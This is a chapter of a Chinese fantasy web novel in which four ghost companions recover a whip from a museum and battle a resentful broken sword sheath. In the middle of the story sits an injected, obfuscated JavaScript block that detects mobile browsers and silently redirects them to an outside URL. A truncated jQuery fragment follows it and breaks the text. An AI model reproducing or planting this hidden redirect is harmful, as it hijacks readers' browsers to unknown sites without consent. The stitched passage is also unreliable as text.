31. 又见一意

作品:《太子坟打工日记

    墓室般的展厅里,久久无人说话。梁春瑜走上前,什么也没说,只是重重地拍了拍庄维的肩膀。一切的理解与安慰,尽在这无声的动作之中。


    涂苏看着庄维,那双惯常清冷的眸子里,此刻也流露出心疼,她说:“等解了万灵山的禁制,我陪你闯鬼府找一找?”


    李四喜早已听得眼圈泛红,她用力吸了吸鼻子,走到庄维另一边,声音带着哽咽却努力做出凶巴巴的样子:“庄维!你别难过了!陆翎要是知道你现在这么厉害,肯定也替你高兴!”


    庄维看着身边三位同伴,心中那积压了千年、几乎已成为他一部分的郁结,仿佛被这突如其来的暖意撬开了一道缝隙。


    他笑了笑,这次的笑容虽然依旧带着苦涩,却多了几分释然和真实:“难过……其实也谈不上太多了,都过去这么久了,时间这东西,最是磨人。只是今天突然看到这老伙计,心里头……终究不是个滋味。它不该就这么躺在这里,被不相干的人评头论足。”


    李四喜立刻明白了他的意思,眼睛一亮,那股子精明劲儿又上来了:“这好办!让万宝楼复刻一根一模一样的换回来不就是了!本来我们拿了桃木小人,也要复制一个的。保证连上面的岁月痕迹都分毫不差!咱们神不知鬼不觉地来个偷梁换柱!”


    事不宜迟,凭借万宝楼那近乎造化之功的神奇能力,不过半个时辰,一根无论是材质、形态、甚至细微磨损处都足以以假乱真的“逐云鞭”仿品便送到了庄维手中。


    庄维亲自出手,他对物体的操控精细入微,利用一个小巧的陶俑作为媒介,悄无声息地打开了展柜的锁扣,将仿品放入,并小心取出了那根真正的逐云鞭。


    当逐云鞭那熟悉而沉实的触感再次真切地落入庄维手中时,他手腕下意识地一抖,仿佛肌肉记忆被瞬间唤醒。


    逐云鞭如一条苏醒的黑蟒,在空中划过一道流畅而凌厉的弧线,鞭梢破空,发出“啪”一声清脆利落的响声。


    千年的生疏与隔阂,在这一声响鞭中,仿佛烟消云散。那种人与鞭心意相通的熟悉掌控感,又回来了!仿佛他握着的不是鞭子,而是陆翎的手。


    逐云鞭头一转,一朵枝头上熟睡的鲜花随着蜿蜒的鞭身落到了李四喜手里。又是一鞭,另一朵到了涂苏手里。


    第三鞭刚起势,梁春瑜的声音先一步传来:“我不要花。”


    庄维的鞭子悻悻一顿,送入梁春瑜手里的是一把叶子。


    “好鞭法!”涂苏眼中闪过赞赏之色,由衷赞道。


    梁春瑜也微微颔首,眼中带着欣慰,甚至开着玩笑说:“此鞭灵动迅猛,正好弥补你战力不足。如此一来,你真的就是四喜口中的无敌存在了。”


    庄维轻轻抚摸着冰凉的鞭身,感受着其中仿佛尚存的、一丝旧主的余温,眼中重新焕发出一种明亮的光彩,那股子玩世不恭的潇洒气度又回到了他身上,却似乎比以往更多了几分沉稳与底蕴。


    他手腕一翻,将逐云鞭利落地缠在腰间,笑道:“那是自然!以后咱们再打架,我也能多耍个花样,省得总被你们说我只会在后面丢泥巴人儿!”


    青眉被封印,逐云鞭物归原主。而庄维这段尘封数百年往事的揭开,虽带着伤痛,却也像一次彻底的清创,让四只老鬼之间的信任与羁绊,变得更为深厚与坚固。


    万灵山的漫漫长夜,依旧充满了未知,但有了彼此并肩同行,前路再诡谲,似乎也增添了几分踏实的暖意。


    在四鬼准备带着青眉和失而复得的逐云鞭离开时,异变突生!


    “铿——!”


    一声清越却带着急促颤音的剑鸣自身侧响起。梁春瑜腰间的“一心”,竟不受控制地剧烈震动起来,古朴的剑鞘仿佛无法容纳它的躁动,剑身自行弹出寸许,森寒的剑气瞬间逼退了周围的沉闷。


    “一心?”梁春瑜眉头紧锁,修长的手指立刻握住剑柄。那剑柄在他掌心如同活物般挣扎,一股强烈的、近乎痛苦的牵引力,拉扯着他望向博物馆更深处的黑暗——那是尚未对外开放的地下珍宝库方向。


    “怎么回事?”李四喜下意识地靠近梁春瑜,玉算盘已握在手中,警惕地环顾四周阴森的藏品架,“还有大家伙?”


    涂苏沉默不语,红绫翻飞,向四周探去。她锐利的目光扫过每一个角落,如同狩猎的鹰隼。庄维指尖微动,几个小巧的陶俑悄无声息地滑落地面,融入阴影之中,他腰间的逐云鞭也如同感应到什么,发出细微的嗡鸣。


    “它在……呼唤什么?或者说,在抗拒什么?”梁春瑜感受着“一心”前所未有的激动,那并非纯粹的敌意,更像是一种跨越了漫长岁月的、痛苦而矛盾的共鸣。


    他不再压制,任由“一心”牵引着,一步步走向那扇紧闭的、标注着“珍宝库”的厚重铁门。


    四只老鬼穿门而入,一股浓重的、混合着各种木质、金属和织物的陈旧气息涌出,里面一片漆黑,只有安全出口标志散发着幽绿的光。


    “一心”剑嗡鸣更甚,剑身光华流转,如同一盏引路的孤灯,直指库房最深处的某个独立保险柜。那柜子与其他堆放杂物的架子不同,被单独安置,显得格外郑重。


    梁春瑜的手按在冰冷的保险柜门上,略微迟疑,还是猛地拉开。


    柜内铺着深色绒布,一柄剑鞘静静躺在那里。


    鞘身由暗红色的玉石雕琢,色泽沉郁,上面镶嵌的金色云纹早已黯淡无光。最触目惊心的是靠近鞘口处,一道狰狞的裂痕蜿蜒如蛛网,仿佛下一刻就会彻底碎裂。这剑鞘,散发着一种被时光遗弃的悲凉,以及……一种深植于裂痕之中的、扭曲的怨恨。


    “一意……”梁春瑜低声唤出它的名字,声音带着一丝不易察觉的沙哑。这便是那柄因破损而被舍弃,未能随他入陵的初代剑鞘。


    仿佛被这个名字唤醒,暗红色的“一意”剑鞘猛地颤动起来,表面浮现出不祥的赤红光芒,那道裂痕中更是溢出缕缕黑气。一个充满痛苦、妒忌和疯狂怨念的精神波动,如同尖针般刺入众鬼的意识:


    【为什么……抛弃我!】


    【我才是与你血脉相连的初始!我温养你十年锋芒!】


    【凭什么……是它!】


    怨毒的精神力狠狠扫过梁春瑜腰间的二意剑鞘。


    【这个后来者!这个冰冷的替代品!】


    【恨!我好恨啊——!】


    滔天的怨气化作实质的冲击,库房内金属架嗡嗡作响,一些较轻的卷宗纸片被无形的力量掀起,四散飞扬。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451509|184646||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “小心!”涂苏厉喝,红绫迅速围成一个格挡,精准地挡掉上“一意”猛然射出的暗红邪光,发出一声闷响,能量激荡。


    庄维的陶俑瞬间化作持盾战士,挡在最前。他手腕一抖,逐云鞭如黑色闪电抽出,试图缠绕束缚那疯狂的剑鞘。李四喜的算盘珠也已飞出,迅速布下结界,护住周围可能被波及的珍贵文物,也隔绝了此地剧烈的能量波动。


    “一意!住手!”梁春瑜试图沟通,这一声里,竟然带着李四喜许久不见的太子威严,“并非孤愿弃你,实乃你已不堪重负!强行相伴,只会两败俱伤!”


    【谎言!都是借口!】“一意”的恶灵彻底疯狂,攻击愈发凌厉。


    它虽无剑身,但千年怨念凝聚,使它如同拥有实体,时而如重锤轰击结界,时而分化出数道暗红剑气,刁钻狠辣地袭向梁春瑜和“一心”剑,那裂痕中溢出的黑气更是带着腐蚀魂体的阴毒。


    小小剑灵竟然有如此巨大的灵力。库房内顿时陷入混战。


    金光箭矢纵横交错,黑色鞭影如龙蛇游走,陶俑举盾防御,算盘珠结成的光幕明灭不定。


    梁春瑜手持“一心”,剑光如虹,却每每在与“一意”对撞时,感受到来自剑身本身的一丝凝滞与悲悯,仿佛是“一心”对昔日伙伴复杂难言的情感。


    战斗激烈,但四只老鬼配合默契,渐渐稳住了阵脚。然而,“一意”凭借其不顾一切的疯狂和深厚的怨力,一时也难以被彻底压制。它如同一个遍体鳞伤却执拗不休的怨魂,每一次攻击都带着同归于尽般的决绝。


    李四喜一边维持结界,一边观察着战局,突然喊道:“它恨的是被抛弃!恨的是二意取代了它!它的力量核心就是那道裂痕和怨念!能不能……能不能安抚它?给它找个新去处?”


    她的话点醒了梁春瑜。他看着状若疯魔的“一意”,眼中闪过一丝复杂。这柄剑鞘,曾与他相伴十年,见证过他少年时的意气风发。那份因破损而被舍弃的不甘,历经千年发酵,最终酿成了这杯毒酒。


    梁春瑜深吸一口气,周身不再仅仅是威严,更带上了一种沉静而包容的力量。他不再试图用“一心”去攻击,而是将剑平举,让清冽的剑光照耀在“一意”身上。同时,他腰间的“二意”剑鞘也散发出柔和的冰蓝光华,那光芒并不凌厉,反而带着一种安抚与接纳的意味。


    “一意,”梁春瑜的声音低沉而清晰,穿透了疯狂的怨念,“孤知你之痛,知你之憾。并非你不如它,而是命运使然,造化弄人。”


    【……】疯狂的攻击似乎有了一瞬的凝滞。


    “你看这满室之物,”梁春瑜目光扫过周围沉寂的文物,“它们亦曾光华璀璨,亦曾蒙尘黯淡,如今在此,静待有缘,诉说往昔。你虽不能再伴‘一心’左右,但此地,何尝不能成为你新的归宿?”


    他一步步走向光芒闪烁不定、怨气翻腾的“一意”,伸出手,并非去抓取,而是悬停在剑鞘上方,来自他的气息如温暖的泉水般缓缓流淌而下。


    “以此身为牢,亦以此地为域。守护这些与你一般,承载着岁月重量的伙伴,可好?”他的声音带着一种奇特的魔力,“你的锋芒,你的灵性,不该湮灭于妒恨,而应升华于守护。这,或许才是你我缘分的真正延续。”